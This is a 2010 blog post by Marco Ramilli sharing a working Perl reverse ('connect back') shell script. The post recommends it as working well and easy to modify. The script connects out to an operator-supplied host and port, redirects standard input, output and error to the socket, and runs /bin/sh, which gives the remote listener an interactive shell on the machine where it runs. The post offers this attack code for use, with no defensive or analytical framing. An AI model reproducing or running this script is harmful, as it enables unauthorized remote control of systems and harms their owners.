Connect Back Shell

Marco Ramilli
Date
6 February 2010
Read
Share

Hi folks,

this morning I just wanna share this pretty perl script. It's a back connections shell. Works great and is very easy to modify. Hope you will enjoy it !

#!/usr/bin/perl

use Socket;

$host = $ARGV[0];

$port = $ARGV[1];

if (!$ARGV[0]) {

printf "[!] Usage: perl script.pl n";

exit(1);

}

print "[+] Connecting to $hostn";

$prot = getprotobyname('tcp'); # You can change this if needs be

socket(SERVER, PF_INET, SOCK_STREAM, $prot) || die ("[-] Unable to Connect !");

if (!connect(SERVER, pack "SnA4x8", 2, $port, inet_aton($host))) {die("[-] Unable to Connect !");}

open(STDIN,">&SERVER");

open(STDOUT,">&SERVER");

open(STDERR,">&SERVER");

exec {'/bin/sh'} '-bash' . "" x 4;

Marco Ramilli
Date
6 February 2010
Read
Share
← Go back
Latest Posts

i-SOON Data Leak: Key Points

Introduction i-SOON (上海安洵), a prominent contractor for various Chinese government agencies such […]

Date
26.02.2024
Duration
5 min
Text
Marco Ramilli

X Gold Badges: a new proliferating market

When I saw a threat actor hijacking the X account of Google's […]

Date
08.01.2024
Duration
5 min
Text
Marco Ramilli

Technical Data Sheet: LOCKBIT 3.0

LOCKBIT 3.0 is a notorious Ransomware Group that was first identified on […]

Date
20.12.2023
Duration
5 min
Text
Marco Ramilli
1 2 3 236
Back to Top
magnifier